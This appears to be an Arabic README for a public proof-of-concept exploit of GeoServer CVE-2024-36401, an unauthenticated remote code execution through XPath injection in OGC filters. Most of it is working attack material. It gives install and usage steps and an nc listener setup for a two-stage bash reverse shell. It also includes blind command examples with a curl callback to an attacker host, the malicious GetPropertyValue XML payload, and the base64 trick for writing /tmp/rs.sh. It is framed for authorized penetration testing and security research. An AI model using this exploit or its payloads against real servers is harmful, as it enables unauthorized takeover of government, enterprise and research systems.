
استغلال RCE غير مصادق عليه في GeoServer (CVE-2024-36401) عبر حقن XPath في مرشحات OGC. يدعم تنفيذ أوامر عبر الشل العكسي (reverse shell) وتنفيذ الأوامر العمياء (blind command execution) مع كشف تلقائي للإصدار واستكشاف أنواع المعالم (feature types).
استغلال لتنفيذ أوامر عن بُعد بدون مصادقة في GeoServer عبر حقن معامل valueReference الخاص بمرشّحات OGC (تقييم XPath/JXPath).
إخلاء مسؤولية: هذه الأداة مخصصة لاختبار الاختراق والبحث الأمني المصرّح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
GeoServer هو خادم Java مفتوح المصدر لمشاركة البيانات الجغرافية المكانية، ويُنشر على نطاق واسع في البيئات الحكومية والمؤسسية والبحثية. تسمح CVE-2024-36401 لـمهاجم بدون مصادقة بتنفيذ أوامر نظام تعسفية على المضيف عن طريق حقن تعبيرات Java في معاملات مرشّحات OGC (اتحاد الجيوماتكس المفتوح).
أُضيفت الثغرة إلى كتالوج CISA للثغرات المستغلة المعروفة (KEV) في يوليو 2024 بسبب استغلالها النشط في البرية.
| الفرع | النطاق المتأثر | ثُبّتت في |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
إصدارات GeoServer الأقدم من 2.23.0 من المحتمل أيضًا أن تكون متأثرة، لكنها وصلت إلى نهاية الدورة وغير مختبرة.
يستخدم GeoServer مكتبة GeoTools لتقييم تعبيرات مرشّحات OGC. يتم تمرير معامل valueReference (ومعاملات أخرى مثل CQL_FILTER) إلى JXPathContext.selectNodes() من Apache Commons JXPath دون تعقيم.
يدعم JXPath استدعاء أي طرق Java تعسفية من خلال تعبيرات مثل:
exec(java.lang.Runtime.getRuntime(), 'id')
يحدث هذا التقييم قبل التحقق من المصادقة لنقاط نهاية معينة، مما يجعل الثغرة غير مصادق عليها بالكامل.
نقاط النهاية المتأثرة:
POST /geoserver/wfs — طلب GetPropertyValue مع valueReferenceGET /geoserver/ows — نفس المعامل عبر سلسلة الاستعلامملاحظة تقنية مهمة: يجب أن يستخدم تعبير valueReference اقتباسات مفردة (') حول سلسلة الأمر. أما الاقتباسات المزدوجة (") فتسبب فشل تحليل XML وتمنع التنفيذ — وهذا خطأ شائع في بعض PoCs العامة.
requestssf وtopp وtiger كافية)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
أو ثبّت التبعيات مباشرة:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| الوضع | العلامات | الوصف |
|---|---|---|
| قشرة عكسية | -l LHOST -p LPORT | قشرة عكسية على مرحلتين عبر bash |
| تنفيذ أوامر | -c CMD | تنفيذ أمر واحد (أعمى — بدون مخرجات) |
| تجاوز نوع الميزة | -f FEATURE | تخطي الاكتشاف التلقائي واستخدام النوع المحدد |
ابدأ مستمعًا أولاً:
nc -lvnp 4444
ثم شغّل الاستغلال:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
المخرجات المتوقعة:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
على المستمع:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
نفّذ أمرًا دون استلام مخرجات. مفيد للتحقق خارج النطاق أو إسقاط الملفات:
# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
ملاحظة: الأوامر التي تحتوي على أحرف غلاف خاصة (
>,|,&,;) يتم ترميزها تلقائيًا بـ base64 لتجنب مشكلات التحليل.
إذا فشل الاكتشاف التلقائي، وفّر نوع ميزة معروف من الهدف:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
أنواع الميزات الشائعة المضمنة في بيانات GeoServer التجريبية:
| مساحة العمل | نوع الميزة |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
يرسل الاستغلال طلب WFS من نوع GetPropertyValue مع تعبير valueReference خبيث:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
بالنسبة للقشرة العكسية، يُستخدم نهج من مرحلتين لتجنب مشكلات أحرف الغلاف داخل وسيطة السلسلة المفردة في exec():
المرحلة 1 — كتابة القشرة العكسية إلى /tmp/rs.sh باستخدام ترميز base64 وتوسعة الأقواس في الغلاف (بدون مسافات في سلسلة exec):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
المرحلة 2 — تنفيذ السكربت:
bash /tmp/rs.sh
يتجنب هذا النهج الحاجة إلى مفسّر غلاف في استدعاء exec() الأول، مما يجعله موثوقًا عبر تكوينات الأنظمة المختلفة.
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<type>curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"